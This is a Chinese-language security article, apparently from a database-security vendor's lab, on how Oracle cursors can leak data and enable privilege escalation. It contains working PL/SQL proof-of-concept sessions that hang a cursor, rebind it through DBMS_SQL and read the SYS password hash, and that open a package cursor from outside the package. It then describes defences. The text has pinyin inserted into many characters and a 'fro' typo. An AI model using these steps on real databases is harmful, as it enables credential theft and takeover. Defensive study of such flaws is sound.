安華金和全面適配國(guó)產(chǎn)化操作系統(tǒng)及芯片CPU
數(shù)據(jù)安全治理關(guān)鍵技術(shù)之?dāng)?shù)據(jù)庫脫敏技術(shù)詳解
數(shù)據(jù)安全治理之API監(jiān)測(cè)系統(tǒng) ,解決API接口安全問題【安華金和】
新一代數(shù)據(jù)庫脫敏技術(shù),為敏感數(shù)據(jù)建立保護(hù)盾!
數(shù)據(jù)庫脫敏系統(tǒng)與金融行業(yè)案例解讀
數(shù)據(jù)安全治理建設(shè)思路的著力點(diǎn)——數(shù)據(jù)安全咨詢服務(wù)【安華金和】
數(shù)據(jù)庫防火墻功能有哪些?-數(shù)據(jù)安全-安華金和
數(shù)據(jù)安全關(guān)鍵技術(shù)之?dāng)?shù)據(jù)庫脫敏技術(shù)詳解【安華金和】
中國(guó)數(shù)據(jù)安全治理落地指導(dǎo)書籍《數(shù)據(jù)安全治理白皮書5.0》正式發(fā)布(附下載)
SQL是面向集合的語言,其結(jié)果一般是集合量(含多條記錄),而pl/sql的變量是標(biāo)量,一組變量一次只能存放一條記錄。很多時(shí)候查詢結(jié)果的記錄 數(shù)是不確定的,無法提前聲明足夠的變量。于是引入了游標(biāo)的概念,游標(biāo)使得數(shù)據(jù)庫操作更靈活,但同時(shí)也給黑客入侵?jǐn)?shù)據(jù)庫帶來了機(jī)會(huì)。安華金和數(shù)據(jù)庫安全實(shí)驗(yàn) 室(DBSec Labs)基于游標(biāo)的應(yīng)用原理,本文討論游標(biāo)可能帶來什么安全隱患以及如何應(yīng)對(duì)這些安全隱患。
oracle數(shù)據(jù)庫游標(biāo)是Pl/sql執(zhí)行DQL、DML等語句的時(shí)候,oracle在內(nèi)存中為其結(jié)果集分配一個(gè)緩沖區(qū)。游標(biāo)是指向該區(qū)的一個(gè)指 針、命名一個(gè)工作區(qū)或是一種結(jié)構(gòu)化數(shù)據(jù)類型。它為應(yīng)用程序提供了一種對(duì)結(jié)果集中每一行數(shù)據(jù)單獨(dú)處理的方法。oracle 游標(biāo)基本可以分為以下3類:顯式游標(biāo)、隱式游標(biāo)和動(dòng)態(tài)游標(biāo)(關(guān)系具體看下圖)。
游標(biāo)的核心功能在于,從表中檢索出結(jié)果集,每次指向一條記錄,與客戶端或應(yīng)用程序進(jìn)行交互,因此游標(biāo)是設(shè)計(jì)嵌入式SQL語句的應(yīng)用程序的常用編程方式。隨著游標(biāo)的廣泛使用,其本身的安全隱患也變得越來越突出。
oracle游標(biāo)給數(shù)據(jù)庫帶來的安全隱患主要分為三大類:
1. 缺乏異常處理,掛起的游標(biāo)被惡意利用
游標(biāo)將數(shù)據(jù)庫中相應(yīng)的信息存入內(nèi)存塊中,當(dāng)用戶打開游標(biāo)的時(shí)候,可以直接訪問游標(biāo)指向的內(nèi)存塊中存放的信息,而無需再訪問基表獲得數(shù)據(jù)。如果一個(gè)高 權(quán)限用戶建立一個(gè)游標(biāo)卻沒關(guān)閉該游標(biāo),低權(quán)限用戶就有可能獲得游標(biāo)中存儲(chǔ)的關(guān)鍵信息,或向打開的游標(biāo)中注入惡意語句,進(jìn)行高權(quán)限運(yùn)行,達(dá)到提權(quán)或越權(quán)訪問 的目的。這就是游標(biāo)SNARF提權(quán)的基礎(chǔ)。
游標(biāo)不正常關(guān)閉基本是人為造成的,高權(quán)限用戶忘記關(guān)閉,或者游標(biāo)所在的子程序缺乏異常處理機(jī)制。如果沒有做相應(yīng)的異常處理,黑客很有可能制造異常,使游標(biāo)被一直掛起,利用未關(guān)閉的游標(biāo),注入惡意代碼。再利用游標(biāo)自身的高權(quán)限執(zhí)行惡意代碼,進(jìn)行越權(quán)或者非法提權(quán)操作。
下面試驗(yàn)用例由安華金和數(shù)據(jù)庫安全實(shí)驗(yàn)室提供:
SQL> connect / as sysdba
已連接。
SQL> CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS
2 CURSOR_NAME INTEGER;
3 PASSWORD VARCHAR2(30);
4 I INTEGER;
5 BEGIN
6 CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;
7 DBMS_OUTPUT.PUT_LINE('CURSOR:'||CURSOR_NAME);
8 DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD FROM
9 SYS.DBA_USERS WHERE USERNAME=:schina',dbms_sql.native);
10 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina',P_USER);
11 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30);
12 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
13 IF PASSWORD = '01234567890ABCDEF' THEN
14 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
15 ELSE
16 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
17 END IF;
18 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
19 END;
20 /
PL/SQL 過程已成功完成。
SQL> grant execute on schina_test to public;
授權(quán)成功。
schina_test
是一個(gè)缺乏異常處理代碼的存儲(chǔ)過程,它的作用是對(duì)給定用戶找到其密碼hash值,然后和固定HASH值進(jìn)行比較并返回結(jié)果。open_cursor打開游
標(biāo)直到close_cursor或SQL會(huì)話終止游標(biāo)退出。由于缺乏異常代碼機(jī)制,用任意低權(quán)限賬號(hào)執(zhí)行這個(gè)存儲(chǔ)過程,可以觸發(fā)異常掛起游標(biāo)。
SQL> connect scott/tiger
已連接。
SQL> set serveroutput on
SQL> declare
2 x varchar(40000);
3 i integer;
4 begin
5 fro i in 1..10000 loop
6 x:='b'||x;
7 end loop;
8 sys. schina_test (x);
9 end;
10 /
CURSOR 3241423
通過向p_user中輸入一個(gè)過長(zhǎng)的x,系統(tǒng)返回ORA-01460錯(cuò)誤。由于存儲(chǔ)過程schina_test中沒有對(duì)異常進(jìn)行處理,雖然存儲(chǔ)過程中關(guān)閉游標(biāo)了,但由于發(fā)生異常,導(dǎo)致游標(biāo)被掛起,同時(shí)并未真正關(guān)閉??梢詫?duì)未關(guān)閉的游標(biāo)注入惡意語句,以達(dá)到所需要的效果。
2. oracle游標(biāo)漏洞提權(quán)
游標(biāo)提權(quán)漏洞就是在上面的基礎(chǔ)上利用被掛起的游標(biāo),通過類似DBMS_SQL這種由系統(tǒng)定義的包,把游標(biāo)語句和高權(quán)限用戶進(jìn)行綁定。接著上面的例子通過DBMS_SQL綁定SYS,用戶直接獲取SYS的密碼HASH。
SQL> DECLARE
2 CURSOR_NAME INTEGER;
3 I INTEGER;
4 PWD VARCHAR2(30);
5 BEGIN
6 CURSOR_NAME:=3241423;
7 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,':schina','SYS');
8 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30);
9 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
10 IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN
11 DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD);
12 END IF;
13 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
14 DBMS_OUTPUT.PUT_LINE ('PWD:'||PWD);
15 END;
16 /
上述代碼是在獲取游標(biāo)值的前提下進(jìn)行的,因此在代碼聲明的地方寫入游標(biāo)值3241423。使用DBMS_SQL中的 BIND_VARIABLE(cursor_name,':schina',sys)將游標(biāo)和SYS用戶綁定。這樣執(zhí)行查詢SYS用戶。后臺(tái)數(shù)據(jù)庫真正運(yùn) 行的語句是:select password from sys.dba_users where username='sys'。DBMS_SQl.define_column函數(shù)的作用是將游標(biāo)中第一列的值返回給PWD變量。黑客在執(zhí)行完上述匿名塊 后,系統(tǒng)結(jié)果返回SYS密碼的HASH散列,使用HASH逆向工具進(jìn)行轉(zhuǎn)換就可以獲得SYS密碼明文,直接奪取數(shù)據(jù)庫最高權(quán)限。
3. oracle游標(biāo)設(shè)計(jì)本身的安全隱患
其實(shí)通過游標(biāo)獲取高權(quán)限賬號(hào)的密碼完全不用這么麻煩,oracle在游標(biāo)設(shè)計(jì)上本身就有安全問題。用高權(quán)限用戶寫一個(gè)包,這個(gè)包中放入一個(gè)游標(biāo),功
能和前面用的schina_test是一致的。用來取回需要檢查賬號(hào)的hash。然后和我們給出的一組預(yù)設(shè)hash做對(duì)比。低權(quán)限用戶如果知道這個(gè)游標(biāo)可
以直接在包外調(diào)用該游標(biāo),從而獲取游標(biāo)中的內(nèi)容。包內(nèi)游標(biāo)可以在包外被調(diào)用,這是oracle游標(biāo)本身設(shè)計(jì)上的安全缺陷。
SQL> connect / as sysdba
已連接。
SQL> CREATE OR REPLACE PACKAGE schina AS
2 CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$
3 WHERE NAME=USERNAME;
4 PROCEDURE CHECK_PASSWORD;
5 END;
6 /
程序包已創(chuàng)建。
SQL> CREATE OR REPLACE PACKAGE BODY schina AS
2 PROCEDURE CHECK_PASSWORD IS
3 PASSWORD VARCHAR2(200);
4 BEGIN
5 OPEN X (USER());
6 FETCH X INTO PASSWORD;
7 CLOSE X;
8 IF PASSWORD = '01234567890ABCDEF' THEN
9 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
10 ELSE
11 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
12 END IF;
13 END CHECK_PASSWORD;
14 END;
15 /
程序包體已創(chuàng)建。
SQL> show errors
沒有錯(cuò)誤。
SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;
授權(quán)成功。
通過show errors檢驗(yàn)發(fā)現(xiàn)整個(gè)過程沒有X游標(biāo)掛起的問題。X游標(biāo)正常關(guān)閉了,到現(xiàn)在為止操作一切正常切換到低權(quán)限賬號(hào)
SQL> connect scott/tiger
已連接。
SQL> set serveroutput on
SQL> exec sys.schina.check_password;
YOUR PASSWORD HASH IS OK
執(zhí)行包返回的結(jié)果很安全,不會(huì)顯示出游標(biāo)內(nèi)存儲(chǔ)的內(nèi)容,但如果通過一個(gè)匿名塊,在包外使用游標(biāo)的結(jié)果就變得不安全了,低權(quán)限用戶可以輕易使用高權(quán)限用戶設(shè)置的游標(biāo)。通過游標(biāo)直接可以獲取到游標(biāo)中存儲(chǔ)的結(jié)果集。
SQL> DECLARE PASSWORD VARCHAR2(200);
2 BEGIN OPEN SYS. SCHINA.X ('SYS');
3 FETCH SYS. SCHINA.X INTO PASSWORD;
4 CLOSE SYS. SCHINA.X;
5 DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);
6 END;
7 /
The SYS password is CF10653F66A74AC2
任何權(quán)限賬號(hào)的密碼通過這種方式都會(huì)被低權(quán)限用戶直接獲取HASH值,然后通過HASH逆向工具,獲取全部賬號(hào)的密碼。
根據(jù)上一節(jié)游標(biāo)的安全隱患,我們摸清了游標(biāo)安全隱患的成因。本章講敘述如何防范這些安全隱患。
1)單純的規(guī)范輸入驗(yàn)證過程,綁定變量已經(jīng)不能滿足游標(biāo)日益嚴(yán)峻的安全隱患威脅。應(yīng)當(dāng)對(duì)用戶可輸入?yún)?shù)的變量的長(zhǎng)度做更嚴(yán)格的限制,來防止觸發(fā)異 常。最基本辦法是按照用戶輸入?yún)?shù)的正常值的長(zhǎng)度來進(jìn)行限制,在用戶輸入?yún)?shù)后,先對(duì)參數(shù)進(jìn)行長(zhǎng)度校驗(yàn)。如果超過默認(rèn)長(zhǎng)度,直接拋棄該次輸入,這樣可以在 一定程度上減少異常發(fā)生的概率。
2)始終保持子程序中,有專門對(duì)付異常的異常處理機(jī)制。防止惡意輸入,導(dǎo)致游標(biāo)被掛起。當(dāng)異常發(fā)生的時(shí)候,保證會(huì)把游標(biāo)關(guān)閉。
在前面提到的利用游標(biāo)進(jìn)行提權(quán)的技術(shù)核心是利用DBMS_SQL包中的一些帶有varchar參數(shù)的函數(shù),尤其是DBMS_sql.parse函數(shù)是完成游標(biāo)注入類攻擊。攻擊者正是通過這個(gè)函數(shù)完成將惡意代碼注入到函數(shù)中,并將惡意代碼與游標(biāo)綁定。
于是最直接的想法是通過撤銷DBMS_SQL的PUBLIC權(quán)限來限制低權(quán)限用戶對(duì)DBMS_SQL的利用。但整個(gè)oracle中至少有170個(gè)對(duì) 象依賴于DBMS_SQL。如果撤銷DBMS_SQL的公共權(quán)限,將會(huì)造成很多操作上的麻煩。雖然DBMS_SQL提供了注入的土壤,但如果我們對(duì)DDL 語句加以限制也可以從另一個(gè)角度阻止黑客利用DBMS_SQL對(duì)數(shù)據(jù)庫進(jìn)行惡意攻擊。限制DDL語句有3種方式:
1)通過權(quán)限進(jìn)行控制。
2)通過BEFORE型的安全觸發(fā)器進(jìn)行控制。
3)通過防火墻進(jìn)行控制。
安華金和數(shù)據(jù)庫安全專家經(jīng)過很多測(cè)試分析發(fā)現(xiàn),當(dāng)用戶量少的時(shí)候DBA可以對(duì)每個(gè)用戶進(jìn)行逐個(gè)權(quán)限設(shè)置,但如果用戶量大,逐個(gè)權(quán)限設(shè)置既不現(xiàn)實(shí)也不 準(zhǔn)確。這時(shí)推薦采用數(shù)據(jù)庫防火墻和BEFORE型的安全觸發(fā)器??梢栽谟脩魣?zhí)行DDL語句之前觸發(fā)來返回一個(gè)自定義系統(tǒng)錯(cuò)誤,告知用戶沒有執(zhí)行DDL權(quán) 限,這樣就可以達(dá)到限制用戶執(zhí)行DDL的目的了。但是如果想更精確的限制用戶DDL語句,使用數(shù)據(jù)庫防火墻可以比采用觸發(fā)器更方便和更靈活。
oracle全局游標(biāo)設(shè)計(jì)存在問題,游標(biāo)可以在被定義的包外打開,低權(quán)限用戶正常操作,很可能就會(huì)獲取到高權(quán)限才可以看到的敏感信息。如果在可選的 情況下,盡量不使用游標(biāo),如果要使用游標(biāo),盡量使用局部游標(biāo)(無法在游標(biāo)定義包外打開的游標(biāo))。最后如果一定要使用全局游標(biāo),安華金和數(shù)據(jù)庫安全專家提示 可以通過數(shù)據(jù)庫防火墻或者觸發(fā)器對(duì)調(diào)用游標(biāo)的用戶進(jìn)行檢查。如果發(fā)現(xiàn)該用戶權(quán)限低于創(chuàng)建游標(biāo)的用戶,則禁止該游標(biāo)被用戶打開,否則用戶可以正常調(diào)用該游 標(biāo)。
游標(biāo)作為oracle的核心子程序,安全性十分重要。但oracle的游標(biāo)雖然解決了一些問題,但咱安全性上還有很大問題。安華金和建議 Oracle給游標(biāo)一個(gè)參數(shù),作為安全參數(shù)。默認(rèn)打開安全參數(shù),當(dāng)游標(biāo)在其被定義的包外打開的時(shí)候,對(duì)游標(biāo)進(jìn)行強(qiáng)制檢查,一旦發(fā)現(xiàn)打開該游標(biāo)的用戶權(quán)限低 于創(chuàng)建游標(biāo)者的權(quán)限,則直接拋出異常,禁止打開該游標(biāo)。
本文從安全角度來分析oracle游標(biāo)。從三個(gè)不同角度發(fā)現(xiàn)oracle游標(biāo)存在大量的安全隱患。其中有DBA失誤造成的,也有oracle漏洞引 起的,但最嚴(yán)重的是oracle的全局游標(biāo)本身設(shè)計(jì)上的問題。為了保護(hù)敏感信息,可以通過權(quán)限設(shè)置,創(chuàng)建觸發(fā)器,部署數(shù)據(jù)庫防火墻等多種方法進(jìn)行防護(hù)。但 最重要的還是希望oracle可以對(duì)游標(biāo)設(shè)置一個(gè)安全參數(shù)。對(duì)在包外打開的游標(biāo)的調(diào)用者進(jìn)行資格審核。只有這樣才能從機(jī)制上解決Oracle游標(biāo)的安全隱 患。
試用申請(qǐng)
在線咨詢
咨詢電話
TOP